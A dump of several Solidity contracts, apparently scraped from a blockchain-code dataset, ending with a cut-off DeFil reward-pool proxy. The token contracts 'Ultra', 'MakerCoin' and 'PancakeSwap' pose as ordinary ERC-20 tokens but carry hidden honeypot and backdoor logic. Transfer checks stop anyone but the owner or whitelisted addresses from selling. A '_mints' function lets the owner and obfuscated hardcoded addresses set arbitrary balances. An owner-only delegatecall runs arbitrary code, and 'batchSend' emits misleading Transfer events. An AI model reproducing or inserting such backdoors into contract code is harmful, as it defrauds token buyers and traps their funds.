emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract Ultra {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Maker Coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MakerCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract PancakeSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-08-26
*/
pragma solidity ^0.5.16;
contract RewardPoolDelegationStorage {
// The FILST token address
address public filstAddress;
// The eFIL token address
address public efilAddress;
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Active implementation
*/
address public implementation;
/**
* @notice Pending implementation
*/
address public pendingImplementation;
}
interface IRewardCalculator {
function calculate(uint filstAmount, uint fromBlockNumber) external view returns (uint);
}
interface IRewardStrategy {
// returns allocated result
function allocate(address staking, uint rewardAmount) external view returns (uint stakingPart, address[] memory others, uint[] memory othersParts);
}
interface IFilstManagement {
function getTotalMintedAmount() external view returns (uint);
function getMintedAmount(string calldata miner) external view returns (uint);
}
contract RewardPoolStorage is RewardPoolDelegationStorage {
// The IFilstManagement
IFilstManagement public management;
// The IRewardStrategy
IRewardStrategy public strategy;
// The IRewardCalculator contract
IRewardCalculator public calculator;
// The address of FILST Staking contract
address public staking;
// The last accrued block number
uint public accrualBlockNumber;
// The accrued reward for each participant
mapping(address => uint) public accruedRewards;
struct Debt {
// accrued index of debts
uint accruedIndex;
// accrued debts
uint accruedAmount;
// The last time the miner repay debts
uint lastRepaymentBlock;
}
// The last accrued index of debts
uint public debtAccruedIndex;
// The accrued debts for each miner
// minerId -> Debt
mapping(string => Debt) public minerDebts;
}
contract RewardPoolDelegator is RewardPoolDelegationStorage {
/**
* @notice Emitted when pendingImplementation is changed
*/
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
/**
* @notice Emitted when pendingImplementation is accepted, which means implementation is updated
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
constructor(address filstAddress_, address efilAddress_) public {
filstAddress = filstAddress_;
efilAddress = efilAddress_;
// Set admin to caller
admin = msg.sender;
}
/*** Admin Functions ***/
function _setPendingImplementation(address newPendingImplementation) external {
require(msg.sender == admin, "admin check");
address oldPendingImplementation = pendingImplementation;
pendingImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingImplementation);
}
/**
* @notice Accepts new implementation. msg.sender must be pendingImplementation
* @dev Admin function for new implementation to accept it's role as implementation
*/
function _acceptImplementation() external {
// Check caller is pendingImplementation and pendingImplementation β address(0)
require(msg.sender == pendingImplementation && pendingImplementation != address(0), "pendingImplementation check");
// Save current values for inclusion in log
address oldImplementation = implementation;
address oldPendingImplementation = pendingImplementation;
implementation = pendingImplementation;
pendingImplementation = address(0);
emit NewImplementation(oldImplementation, implementation);
emit NewPendingImplementation(oldPendingImplementation, pendingImplementation);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
*/
function _setPendingAdmin(address newPendingAdmin) external {
require(msg.sender == admin, "admin check");
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
*/
function _acceptAdmin() external {
// Check caller is pendingAdmin and pendingAdmin β address(0)
require(msg.sender == pendingAdmin && pendingAdmin != address(0), "pendingAdmin check");
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
function () payable external {
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
// solium-disable-next-line security/no-inline-assembly
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
// Copied from Compound/ExponentialNoError
/**
* @title Exponential module for storing fixed-precision decimals
* @author DeFil
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract ExponentialNoError {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) {
Exp memory product = mul_(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) {
Exp memory product = mul_(a, scalar);
return add_(truncate(product), addend);
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
